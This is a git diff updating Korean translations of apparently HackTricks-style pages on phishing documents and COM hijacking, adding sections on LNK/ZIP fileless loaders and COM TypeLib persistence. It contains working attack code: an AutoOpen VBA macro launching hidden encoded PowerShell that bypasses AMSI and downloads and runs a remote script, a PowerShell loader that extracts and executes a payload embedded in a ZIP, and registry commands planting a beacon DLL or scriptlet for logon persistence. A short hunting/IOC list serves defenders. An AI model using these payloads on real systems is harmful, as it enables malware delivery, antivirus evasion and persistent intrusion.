diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index aacaaaca6..57bb62a38 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -2,39 +2,39 @@ {{#include ../../banners/hacktricks-training.md}} -## 오피스 문서 +## Office 문서 -Microsoft Word는 파일을 열기 전에 파일 데이터 유효성 검사를 수행합니다. 데이터 유효성 검사는 OfficeOpenXML 표준에 대한 데이터 구조 식별 형태로 수행됩니다. 데이터 구조 식별 중 오류가 발생하면 분석 중인 파일은 열리지 않습니다. +Microsoft Word는 파일을 열기 전에 파일 데이터 유효성 검사를 수행합니다. 데이터 유효성 검사는 OfficeOpenXML 표준에 따라 데이터 구조 식별의 형태로 수행됩니다. 데이터 구조 식별 중 오류가 발생하면 분석 중인 파일은 열리지 않습니다. -일반적으로 매크로가 포함된 Word 파일은 `.docm` 확장자를 사용합니다. 그러나 파일 확장자를 변경하여 파일 이름을 바꾸면 매크로 실행 기능을 유지할 수 있습니다.\ -예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, RTF로 이름이 변경된 DOCM 파일은 Microsoft Word에 의해 처리되며 매크로 실행이 가능합니다.\ -같은 내부 구조와 메커니즘은 Microsoft Office Suite의 모든 소프트웨어(Excel, PowerPoint 등)에 적용됩니다. +일반적으로 매크로가 포함된 Word 파일은 `.docm` 확장자를 사용합니다. 그러나 파일 확장자를 변경해 이름을 바꿔도 매크로 실행 기능을 유지할 수 있습니다.\ +예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, DOCM 파일을 RTF로 이름을 바꾼 경우 Microsoft Word에서 처리되어 매크로를 실행할 수 있습니다.\ +동일한 내부 구조와 메커니즘이 Microsoft Office Suite (Excel, PowerPoint 등)의 모든 소프트웨어에 적용됩니다. -다음 명령을 사용하여 일부 Office 프로그램에서 실행될 확장자를 확인할 수 있습니다: +You can use the following command to check which extensions are going to be executed by some Office programs: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX 파일이 원격 템플릿을 참조하는 경우 (파일 – 옵션 – 추가 기능 – 관리: 템플릿 – 이동) 매크로를 “실행”할 수 있습니다. +DOCX 파일이 원격 템플릿(File –Options –Add-ins –Manage: Templates –Go)을 참조하고, 해당 템플릿에 macros가 포함되어 있으면 문서에서 macros를 “실행”할 수도 있다. ### 외부 이미지 로드 -이동: _삽입 --> 빠른 부분 --> 필드_\ -_**카테고리**: 링크 및 참조, **필드 이름**: includePicture, 및 **파일 이름 또는 URL**:_ http://\/whatever +이동: _Insert --> Quick Parts --> Field_\ +_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever ![](<../../images/image (155).png>) -### 매크로 백도어 +### Macros Backdoor -문서에서 임의의 코드를 실행하기 위해 매크로를 사용할 수 있습니다. +문서에서 macros를 사용해 임의의 코드를 실행하는 것이 가능하다. -#### 자동 로드 함수 +#### Autoload functions -더 일반적일수록, AV가 이를 감지할 가능성이 높아집니다. +더 흔할수록 AV가 탐지할 가능성이 높아진다. - AutoOpen() - Document_Open() -#### 매크로 코드 예제 +#### Macros 코드 예시 ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -66,12 +66,12 @@ proc.Create "powershell ``` #### 메타데이터 수동 제거 -**파일 > 정보 > 문서 검사 > 문서 검사**로 이동하면 문서 검사기가 열립니다. **검사**를 클릭한 다음 **문서 속성 및 개인 정보** 옆의 **모두 제거**를 클릭합니다. +**파일 > 정보 > 문서 검사 > 문서 검사**로 이동하면 문서 검사기가 나타납니다. **검사**를 클릭한 다음 **문서 속성 및 개인 정보** 옆의 **모두 제거**를 클릭하세요. #### 문서 확장자 -완료되면 **다른 이름으로 저장** 드롭다운에서 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경합니다.\ -이렇게 하는 이유는 **`.docx`** 안에 매크로를 저장할 수 없고, 매크로 사용 가능 **`.docm`** 확장자에 대한 **오명**이 있기 때문입니다 (예: 썸네일 아이콘에 큰 `!`가 있고 일부 웹/이메일 게이트웨이가 이를 완전히 차단합니다). 따라서 이 **구식 `.doc` 확장자가 최선의 타협**입니다. +완료되면 **저장 형식** 드롭다운을 선택하고 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경하세요.\ +이유는 **`.docx`** 안에는 매크로를 저장할 수 없고, 매크로가 활성화된 **`.docm`** 확장자에는 **낙인** **이 존재합니다**(예: 썸네일 아이콘에 큰 `!`가 표시되어 일부 웹/이메일 게이트웨이가 이를 완전히 차단합니다). 따라서 이 **레거시 `.doc` 확장자가 최선의 절충안입니다**. #### 악성 매크로 생성기 @@ -81,9 +81,9 @@ proc.Create "powershell ## HTA 파일 -HTA는 **HTML과 스크립팅 언어(예: VBScript 및 JScript)**를 결합한 Windows 프로그램입니다. 사용자 인터페이스를 생성하고 브라우저의 보안 모델의 제약 없이 "완전히 신뢰할 수 있는" 애플리케이션으로 실행됩니다. +HTA는 **HTML 및 스크립트 언어(예: VBScript 및 JScript)를 결합하는** Windows 프로그램입니다. 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 "완전 신뢰" 애플리케이션으로 실행됩니다. -HTA는 **`mshta.exe`**를 사용하여 실행되며, 이는 일반적으로 **Internet Explorer**와 함께 **설치**되어 **`mshta`가 IE에 의존**하게 됩니다. 따라서 IE가 제거되면 HTA는 실행할 수 없습니다. +HTA는 **`mshta.exe`**를 사용해 실행되며, 이는 일반적으로 **설치되어** 있는 **Internet Explorer**와 함께 제공되어 **`mshta`가 IE에 의존**하게 됩니다. 따라서 Internet Explorer가 제거된 경우 HTA는 실행할 수 없습니다. ```html <--! Basic HTA Execution --> @@ -138,11 +138,11 @@ var_func self.close ``` -## NTLM 인증 강제화 +## NTLM 인증 강제 -여러 가지 방법으로 **NTLM 인증을 "원격으로" 강제화**할 수 있습니다. 예를 들어, 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가할 수 있습니다(HTTP MitM도 가능할까요?). 또는 피해자에게 **폴더를 열기만 해도 인증을 트리거하는 파일의 주소**를 보낼 수 있습니다. +여러 방법으로 **NTLM 인증을 "원격으로" 강제**할 수 있습니다. 예를 들어, 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가할 수 있습니다(심지어 HTTP MitM?). 또는 피해자에게 **폴더 열기만으로도** **인증을 유발**하는 **파일의 주소**를 보낼 수도 있습니다. -**다음 페이지에서 이러한 아이디어와 더 많은 내용을 확인하세요:** +**다음 페이지들에서 이러한 아이디어들과 더 많은 내용을 확인하세요:** {{#ref}} @@ -154,11 +154,62 @@ self.close ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md {{#endref}} -### NTLM 릴레이 +### NTLM Relay -해시나 인증을 훔치는 것뿐만 아니라 **NTLM 릴레이 공격을 수행할 수 있다는 점을 잊지 마세요**: +hash 또는 authentication을 훔치는 것뿐만 아니라 **NTLM relay 공격을 수행할 수 있다는 점을 잊지 마세요**: -- [**NTLM 릴레이 공격**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) -- [**AD CS ESC8 (인증서에 대한 NTLM 릴레이)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) +- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) +- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) + +## LNK Loaders + ZIP-Embedded Payloads (fileless chain) + +매우 효과적인 캠페인은 두 개의 합법적인 미끼 문서(PDF/DOCX)와 악성 .lnk를 포함한 ZIP을 배포합니다. 핵심은 실제 PowerShell 로더가 고유한 마커 뒤 ZIP의 원시 바이트에 저장되어 있고, .lnk가 이를 파싱하여 메모리에서 완전히 실행한다는 점입니다. + +.lnk PowerShell one-liner가 구현하는 전형적인 흐름: + +1) Desktop, Downloads, Documents, %TEMP%, %ProgramData%, 그리고 현재 작업 디렉터리의 부모 등 일반적인 경로에서 원본 ZIP을 찾는다. +2) ZIP 바이트를 읽어 하드코딩된 마커(예: xFIQCV)를 찾는다. 마커 이후의 모든 것이 임베디드된 PowerShell 페이로드이다. +3) ZIP을 %ProgramData%로 복사하고 그곳에서 압축을 풀며, 합법적으로 보이기 위해 미끼 .docx를 연다. +4) 현재 프로세스에서 AMSI를 우회: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) 다음 단계의 난독화를 해제(예: 모든 # 문자 제거)하고 메모리에서 실행한다. + +임베디드 스테이지를 추출하여 실행하기 위한 PowerShell 예시 골격: +```powershell +$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') +$paths = @( +"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents", +"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName +) +$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1 +if(-not $zip){ return } +$bytes = [IO.File]::ReadAllBytes($zip.FullName) +$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker) +if($idx -lt 0){ return } +$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)] +$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' +[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) +Invoke-Expression $code +``` +참고 +- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA). +- 다음 단계에서는 종종 base64/XOR shellcode를 복호화한 후 디스크 흔적을 최소화하기 위해 Reflection.Emit + VirtualAlloc을 통해 실행합니다. + +동일 체인에서 사용되는 Persistence +- Microsoft Web Browser control의 COM TypeLib hijacking으로 IE/Explorer나 이를 임베드한 앱이 페이로드를 자동으로 재실행하도록 합니다. 자세한 내용과 즉시 사용 가능한 명령은 다음에서 확인하세요: + +{{#ref}} +../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md +{{#endref}} + +Hunting/IOCs +- 아카이브 데이터 끝에 ASCII 마커 문자열(예: xFIQCV)이 추가된 ZIP 파일. +- .lnk가 상위/사용자 폴더를 열거하여 ZIP을 찾고 미끼 문서를 엽니다. +- AMSI 변조 via [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- 신뢰된 PaaS 도메인에 호스팅된 링크로 끝나는 장시간 실행 비즈니스 스레드. + +## 참고 + +- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) +- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index 2db56defa..2bc89f193 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -4,13 +4,13 @@ ### 존재하지 않는 COM 구성 요소 검색 -HKCU의 값은 사용자가 수정할 수 있으므로 **COM Hijacking**은 **지속적인 메커니즘**으로 사용될 수 있습니다. `procmon`을 사용하면 공격자가 지속성을 위해 생성할 수 있는 존재하지 않는 COM 레지스트리를 쉽게 찾을 수 있습니다. 필터: +사용자가 HKCU 값을 수정할 수 있기 때문에 **COM Hijacking**은 **영구적인 지속성 수단**으로 사용될 수 있습니다. `procmon`을 사용하면 공격자가 지속성을 위해 생성할 수 있는, 검색되었지만 존재하지 않는 COM 레지스트리를 쉽게 찾을 수 있습니다. 필터: - **RegOpenKey** 작업. -- _결과_가 **NAME NOT FOUND**인 경우. -- 그리고 _경로_가 **InprocServer32**로 끝나는 경우. +- _Result_가 **NAME NOT FOUND**인 항목. +- _Path_가 **InprocServer32**로 끝나는 항목. -어떤 존재하지 않는 COM을 가장할지 결정한 후 다음 명령을 실행하십시오. _몇 초마다 로드되는 COM을 가장하기로 결정하면 과도할 수 있으니 주의하십시오._ +어떤 존재하지 않는 COM을 사칭할지 결정했으면 다음 명령을 실행하세요. _몇 초마다 로드되는 COM을 사칭하기로 결정하면 과도할 수 있으므로 주의하세요._ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" @@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F ``` ### Hijackable Task Scheduler COM components -Windows Tasks는 COM 객체를 호출하기 위해 Custom Triggers를 사용하며, Task Scheduler를 통해 실행되기 때문에 언제 트리거될지 예측하기가 더 쉽습니다. +Windows Tasks는 Custom Triggers를 사용해 COM objects를 호출하며, Task Scheduler를 통해 실행되기 때문에 언제 트리거될지 예측하기가 더 쉽습니다.
# Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,9 +49,9 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]
-출력을 확인하면 **사용자가 로그인할 때마다** 실행될 작업을 선택할 수 있습니다. +출력을 확인하면 예를 들어 **사용자가 로그인할 때마다** 실행될 항목을 선택할 수 있습니다. -이제 **HKEY\CLASSES\ROOT\CLSID**와 HKLM 및 HKCU에서 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**를 검색하면, 일반적으로 HKCU에 값이 존재하지 않는 것을 발견할 수 있습니다. +이제 **{1936ED8A-BD93-3213-E325-F38D112938EF}**를 **HKEY\CLASSES\ROOT\CLSID**와 HKLM 및 HKCU에서 검색하면, 일반적으로 해당 값이 HKCU에는 존재하지 않는 것을 알게 됩니다. ```bash # Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" @@ -72,6 +72,64 @@ Name Property PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. ``` -그럼, HKCU 항목을 생성하면 사용자가 로그인할 때마다 당신의 백도어가 실행됩니다. +그런 다음 HKCU entry를 만들기만 하면 사용자가 로그인할 때마다 backdoor가 실행됩니다. + +--- + +## COM TypeLib Hijacking (script: moniker persistence) + +Type Libraries (TypeLib)는 COM 인터페이스를 정의하며 `LoadTypeLib()`를 통해 로드됩니다. COM 서버가 인스턴스화될 때, OS는 `HKCR\TypeLib\{LIBID}` 아래의 레지스트리 키를 참조하여 관련 TypeLib를 로드할 수도 있습니다. TypeLib 경로가 **moniker**로 대체되면(예: `script:C:\...\evil.sct`), TypeLib가 해석될 때 Windows는 해당 scriptlet을 실행합니다 — 일반 구성 요소가 호출될 때 작동하는 은밀한 persistence를 제공합니다. + +이 기법은 Microsoft Web Browser control(자주 Internet Explorer, WebBrowser를 임베드한 앱, 심지어 `explorer.exe`에서 로드됨)을 대상으로 관찰되었습니다. + +### Steps (PowerShell) + +1) 고빈도 CLSID가 사용하는 TypeLib (LIBID)를 식별합니다. 예시로 악성코드 체인에서 자주 남용되는 CLSID: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). +```powershell +$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}' +$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)' +$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName +"CLSID=$clsid LIBID=$libid VER=$ver" +``` +2) 사용자별 TypeLib 경로를 `script:` 모니커를 사용해 로컬 scriptlet을 가리키도록 설정 (관리자 권한 불필요): +```powershell +$dest = 'C:\\ProgramData\\Udate_Srv.sct' +New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null +Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest" +``` +3) 최소한의 JScript `.sct`를 배치해 primary payload(예: initial chain에서 사용된 `.lnk`)를 재실행시킵니다: +```xml + + + + + +``` +4) Triggering – IE를 열거나 WebBrowser control을 포함한 애플리케이션을 실행하거나 심지어 일반적인 Explorer 동작만으로도 TypeLib가 로드되어 scriptlet이 실행되며, logon/reboot 시 체인이 다시 활성화됩니다. + +정리 +```powershell +# Remove the per-user TypeLib hijack +Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null +# Delete the dropped scriptlet +Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null +``` +참고 +- 동일한 논리를 다른 사용 빈도가 높은 COM 구성 요소에도 적용할 수 있습니다; 항상 먼저 `HKCR\CLSID\{CLSID}\TypeLib`에서 실제 `LIBID`를 확인하세요. +- 64-bit 시스템에서는 64-bit 소비자를 위해 `win64` 하위키를 채울 수도 있습니다. + +## 참고자료 + +- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) +- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) {{#include ../../banners/hacktricks-training.md}}